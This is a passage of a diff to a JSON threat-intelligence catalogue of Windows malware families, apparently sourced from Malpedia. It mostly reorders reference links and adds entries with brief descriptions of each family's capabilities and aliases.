infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.", + "description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine\u2019s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot", @@ -12499,10 +13072,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm", + "https://www.symantec.com/security-center/writeup/2016-122104-0203-99", "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", "http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/", - "https://www.symantec.com/security-center/writeup/2016-122104-0203-99" + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" ], "synonyms": [ "AliceATM", @@ -12518,14 +13091,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/", - "http://www.xylibox.com/2013/02/alina-34-pos-malware.html", - "https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/" + "https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/", + "http://www.xylibox.com/2013/02/alina-34-pos-malware.html" ], "synonyms": [ "alina_eagle", @@ -12542,17 +13115,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore", - "https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", + "https://blog.talosintelligence.com/2021/07/sidecopy.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://www.team-cymru.com/post/allakore-d-the-sidecopy-train", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://twitter.com/_re_fox/status/1212070711206064131", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d", + "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", "https://github.com/Anderson-D/AllaKore", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://www.team-cymru.com/post/allakore-d-the-sidecopy-train", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://blog.talosintelligence.com/2021/07/sidecopy.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479" + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf" ], "synonyms": [], "type": [] @@ -12581,8 +13154,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.allcomeclipper", - "https://www.gdatasoftware.com/blog/2022/02/37239-allcome-clipbanker-is-a-newcomer-in-malware-underground-forums", - "https://bazaar.abuse.ch/browse/signature/AllcomeClipper/" + "https://bazaar.abuse.ch/browse/signature/AllcomeClipper/", + "https://www.gdatasoftware.com/blog/2022/02/37239-allcome-clipbanker-is-a-newcomer-in-malware-underground-forums" ], "synonyms": [], "type": [] @@ -12656,7 +13229,7 @@ "value": "ALPC Local PrivEsc" }, { - "description": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user’s screen and prohibits any interaction with the computer.", + "description": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user\u2019s screen and prohibits any interaction with the computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware", @@ -12697,9 +13270,23 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphaseed", + "https://medium.com/s2wblog/detailed-analysis-of-alphaseed-a-new-version-of-kimsukys-appleseed-written-in-golang-2c885cce352a" + ], + "synonyms": [], + "type": [] + }, + "uuid": "966c5a6d-16b8-43b1-acbd-163e904d4a03", + "value": "AlphaSeed" + }, + { + "description": "Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.\r\n\r\nIt uses either RC4 or DES for encryption of its configuration, which is stored in the registry.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, \r\nsystem locale, and network configuration.\r\n\r\nIt supports almost 25 commands that include operations on the victim\u2019s filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker\u2019s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.\r\n\r\nIt comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).\r\n\r\nAlreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay", + "https://securelist.com/lazarus-under-the-hood/77908/", "https://securelist.com/blog/sas/77908/lazarus-under-the-hood/" ], "synonyms": [], @@ -12714,13 +13301,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon", "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html", - "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html", + "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/", + "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", + "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", + "https://www.youtube.com/watch?v=FttiysUZmDw", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", - "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", - "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/" + "https://twitter.com/Sebdraven/status/1496878431719473155", + "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html" ], "synonyms": [ "Olmarik", @@ -12739,38 +13327,44 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey", - "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://isc.sans.edu/diary/27264", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://asec.ahnlab.com/en/41450/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://twitter.com/0xffff0800/status/1062948406266642432", - "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", "https://www.anquanke.com/post/id/230116", + "https://asec.ahnlab.com/en/44504/", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Amadey/amadey_string_decryptor.py", + "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", + "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", + "https://asec.ahnlab.com/en/36634/", + "https://nao-sec.org/2019/04/Analyzing-amadey.html", + "https://embee-research.ghost.io/amadey-bot-infrastructure/", "https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://thecyberexpress.com/amadey-botnet-back-via-phishing-sites/", + "https://asec.ahnlab.com/en/41450/", + "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", + "https://twitter.com/0xffff0800/status/1062948406266642432", + "https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", + "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer", + "https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/", + "https://www.splunk.com/en_us/blog/security/amadey-threat-analysis-and-detections.html", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://isc.sans.edu/diary/27264", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Amadey/amadey_config_extractor.ipynb", + "https://embee-research.ghost.io/shodan-censys-queries/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", "https://twitter.com/ViriBack/status/1062405363457118210", "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", - "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://nao-sec.org/2019/04/Analyzing-amadey.html", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://asec.ahnlab.com/en/36634/", - "https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://asec.ahnlab.com/en/44504/" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [], "type": [] @@ -12783,8 +13377,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol", - "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/", - "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/" ], "synonyms": [ "Adupihan" @@ -12799,8 +13393,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/", - "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/" + "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/" ], "synonyms": [], "type": [] @@ -12813,26 +13407,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor", - "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://isc.sans.edu/diary/27308", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", - "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/", - "https://www.netscout.com/blog/asert/dropping-anchor", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/", "https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns", - "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/" + "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://isc.sans.edu/diary/27308", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/" ], "synonyms": [], "type": [] @@ -12845,10 +13439,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail", + "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", - "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/" + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/" ], "synonyms": [], "type": [] @@ -12856,11 +13450,28 @@ "uuid": "7792096a-7623-43a1-9a67-28dce0e4b39e", "value": "AnchorMail" }, + { + "description": "Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea", + "http://report.threatbook.cn/LS.pdf", + "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "565de3f5-7eb7-43ca-a9d9-b588dfd6a50a", + "value": "AnchorMTea" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor", + "https://asec.ahnlab.com/en/56405/", + "https://asec.ahnlab.com/ko/56256/", "https://asec.ahnlab.com/ko/47751/" ], "synonyms": [], @@ -12874,28 +13485,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/", - "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "http://resources.infosecinstitute.com/andromeda-bot-analysis/", - "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", - "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", - "https://blog.avast.com/andromeda-under-the-microscope", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", - "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", - "http://blog.morphisec.com/andromeda-tactics-analyzed", - "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", - "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", - "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", - "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", + "http://blog.morphisec.com/andromeda-tactics-analyzed", + "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "http://resources.infosecinstitute.com/andromeda-bot-analysis/", + "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", "https://eternal-todo.com/blog/andromeda-gamarue-loves-json", - "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/" + "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", + "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", + "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/", + "https://blog.avast.com/andromeda-under-the-microscope", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", + "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/" ], "synonyms": [ "B106-Gamarue", @@ -12909,20 +13520,21 @@ "value": "Andromeda" }, { - "description": "", + "description": "According to Proofpoint, AndroMut is a new downloader malware written in C++ that Proofpoint researchers began observing in the wild in June 2019. The \u201cAndro\u201d part of the name comes from some of the pieces which bear resemblance to another downloader malware known as Andromeda [1] and \u201cMut\u201d is based off a mutex that the analyzed sample creates: \u201cmutshellmy777\u201d.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", + "https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf" + "https://intel471.com/blog/a-brief-history-of-ta505" ], "synonyms": [ "Gelup" @@ -12937,11 +13549,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf" + "https://www.secureworks.com/research/threat-profiles/bronze-riverside" ], "synonyms": [ "UPPERCUT", @@ -12986,9 +13598,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/", "https://twitter.com/MsftSecIntel/status/1298752223321546754", - "https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/", - "https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/" + "https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/" ], "synonyms": [ "Anubis Stealer" @@ -13003,10 +13615,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader", - "https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/", - "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", - "https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/", "https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/", + "https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/", + "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", + "https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/", "https://windowsreport.com/kraken-botnet/" ], "synonyms": [ @@ -13076,11 +13688,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.apostle", "https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/", - "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf", - "https://assets.sentinelone.com/sentinellabs/evol-agrius", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/", + "https://assets.sentinelone.com/sentinellabs/evol-agrius", "https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/", - "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/" + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf" ], "synonyms": [], "type": [] @@ -13093,21 +13705,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", + 